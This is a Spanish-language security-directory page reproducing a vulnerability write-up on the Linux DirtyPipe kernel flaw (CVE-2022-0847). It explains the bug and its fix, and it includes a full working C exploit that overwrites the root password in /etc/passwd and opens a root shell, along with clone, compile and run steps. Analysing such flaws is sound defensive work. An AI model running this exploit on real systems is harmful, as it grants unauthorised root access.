Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-0847-DirtyPipe — Análisis en profundidad y exploit de prueba de concepto para CVE-2022-0847 (DirtyPipe), una vulnerabilidad del kernel de Linux que permite la sobrescritura arbitraria de archivos y la escalada local de privilegios mediante indicadores de búfer de tubería no inicializados. | Kitploit
Herramientas/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónExplotación de Binarios
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

Análisis en profundidad y exploit de prueba de concepto para CVE-2022-0847 (DirtyPipe), una vulnerabilidad del kernel de Linux que permite la sobrescritura arbitraria de archivos y la escalada local de privilegios mediante indicadores de búfer de tubería no inicializados.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 4 añosAún no revisado

title: Análisis de la vulnerabilidad CVE-2022-0847 (escalada local de privilegios DirtyPipe) date: 2022-03-08 14:41:20 tags: - Escalada de privilegios en Linux categories: - Investigación de seguridad


Descripción de la vulnerabilidad

​ CVE-2022-0847 es una vulnerabilidad en el kernel de Linux desde 5.8. Un atacante puede aprovecharla para sobrescribir los datos de cualquier archivo de solo lectura. De esta manera, los privilegios normales se elevan a root, porque un proceso no privilegiado puede inyectar código en un proceso root.

​ CVE-2022-0847 es similar a CVE-2016-5195 “Dirty Cow” (escalada de privilegios Dirty Cow) y es fácil de explotar; el autor de la vulnerabilidad la denominó Dirty Pipe

Aviso de seguridad

Este blog se utiliza principalmente para documentar eventos de seguridad y artículos sobre vulnerabilidades, con el fin de que todos puedan aprender, intercambiar y realizar pruebas. Cualquier consecuencia o daño, directo o indirecto, causado por la difusión o el uso de la información o las herramientas proporcionadas en los artículos de este blog será responsabilidad exclusiva del propio usuario; el autor de los artículos no asume ninguna responsabilidad por ello.

Alcance afectado

Nivel de peligro: Alto

POC/EXP: Público

Versiones afectadas: linux kernel 5.8 y versiones posteriores

Nota: versiones seguras: kernel de Linux >= 5.16.11, kernel de Linux >= 5.15.25, kernel de Linux >= 5.10.102

Análisis de la vulnerabilidad

Aquí se presentan brevemente los detalles de la vulnerabilidad.

Algunos conceptos:

Linux pipe: Semidúplex, el flujo de datos solo puede ir de un extremo al otro

pipe_buffer: Caché del pipe, se utiliza para almacenar temporalmente los datos escritos en el pipe; la lectura y la escritura se realizan en la caché del pipe

page: Marco de página, 4 kb, con una relación uno a uno con la caché del pipe

pipe_buf_operations: Se utiliza para almacenar el conjunto de operaciones de la caché del pipe

can_merge: Indicador de fusión; si la lectura/escritura general del pipe puede fusionarse, se establece en 1 para fusionar los datos en el búfer existente. Si se establece en 0, siempre se utiliza un nuevo segmento de página del pipe para los nuevos datos.

splice(): Mueve datos entre dos descriptores de archivo; al igual que la función sendfile( ), admite el pipe y es de copia cero. Vincula la caché de página del archivo con la caché del pipe, es decir, la escritura afecta a ambas al mismo tiempo; al comprobar los permisos, solo verifica si el archivo de origen de los datos tiene permiso de lectura, sin comprobación de permisos al escribir. La cadena de llamadas aproximada es:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

Historia del desarrollo de la detección de "fusión" en el pipe de Linux:

Aquí analizamos brevemente el código según la introducción del autor.

  1. Los primeros sistemas Linux coincidían con los conceptos presentados: existía el indicador can_merge, que se utilizaba para marcar si los nuevos datos podían escribirse en la caché del pipe ya existente.

  2. Commit 5274f052e7b3 añadió la función splice(), pero la comprobación no cambió: seguía basándose en el indicador can_merge para determinar si la caché del pipe actual estaba disponible.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 dejó de usar el indicador can_merge y pasó a comparar el puntero struct pipe_buf_operations, es decir, como solo el tipo anon_pipe_buf_ops permite escribir nuevos datos, basta con comprobar si es ese tipo.

    image-20220310133214287

    image-20220310133251831

  4. Commit 241699cd72a8 añadió dos nuevas funciones que pueden asignar un nuevo struct pipe_buf_operations, pero no inicializan su indicador flags.

    image-20220310155046455

  5. Commit f6dd975583bd transformó esta comparación de punteros en la comparación del indicador PIPE_BUF_FLAG_CAN_MERGE de cada búfer y permitió inyectar PIPE_BUF_FLAG_CAN_MERGE; al mismo tiempo, eliminó la definición y el uso de otros tipos de buf_ops.

Por lo tanto, el autor tiene la siguiente idea de explotación:

  1. Crear un pipe
  2. Establecer el indicador PIPE_BUF_FLAG_CAN_MERGE del pipe_buffer
  3. Vaciar el pipe y añadir al pipe los datos anteriores al objetivo; en este momento, splice vincula la caché del pipe con la caché de página.
  4. Escribir datos arbitrarios en el pipe; en este momento, write finalmente llama a copy_page_from_iter() para realizar la escritura y, debido al indicador PIPE_BUF_FLAG_CAN_MERGE, la escritura se completa directamente.

Análisis del Exp

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读,后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道,但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移,即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功,-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

Explotación de la vulnerabilidad

Actualmente se utiliza una máquina virtual kali como sistema de demostración para la explotación.

Requisito del sistema objetivo: basta con que exista gcc.

  • Consultar la versión actual del kernel del sistema
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • Obtener el exp
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • Ejecutar la explotación
root@kitploit:~
./compile.sh	# gcc编译

./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限
  • Restaurar el archivo passwd
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

Corrección de la vulnerabilidad

En primer lugar, se corrige la configuración de la propiedad merge.

image-20220310160200916

En segundo lugar, se añade la inicialización del indicador flags.

image-20220310160536267

image-20220310160703429

Nota del editor

Agradecemos enormemente al maestro Psyduck por dedicar un tiempo valioso a analizar y organizar los principios basándose en el exp de quien publicó la vulnerabilidad. El maestro indicó que también realizó las correspondientes depuraciones a nivel de bajo nivel en el entorno local; aunque todavía no hay una cadena de llamadas de datos clara, actualmente sigue profundizando en ello.

Enlaces de referencia

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

Aviso de seguridad

Este blog se utiliza principalmente para documentar eventos de seguridad y artículos sobre vulnerabilidades, con el fin de que todos puedan aprender, intercambiar y realizar pruebas. Cualquier consecuencia o daño, directo o indirecto, causado por la difusión o el uso de la información o las herramientas proporcionadas en los artículos de este blog será responsabilidad exclusiva del propio usuario; el autor de los artículos no asume ninguna responsabilidad por ello.

Descargar herramienta

image-20220310134233873

image-20220310134337376

image-20220310142420972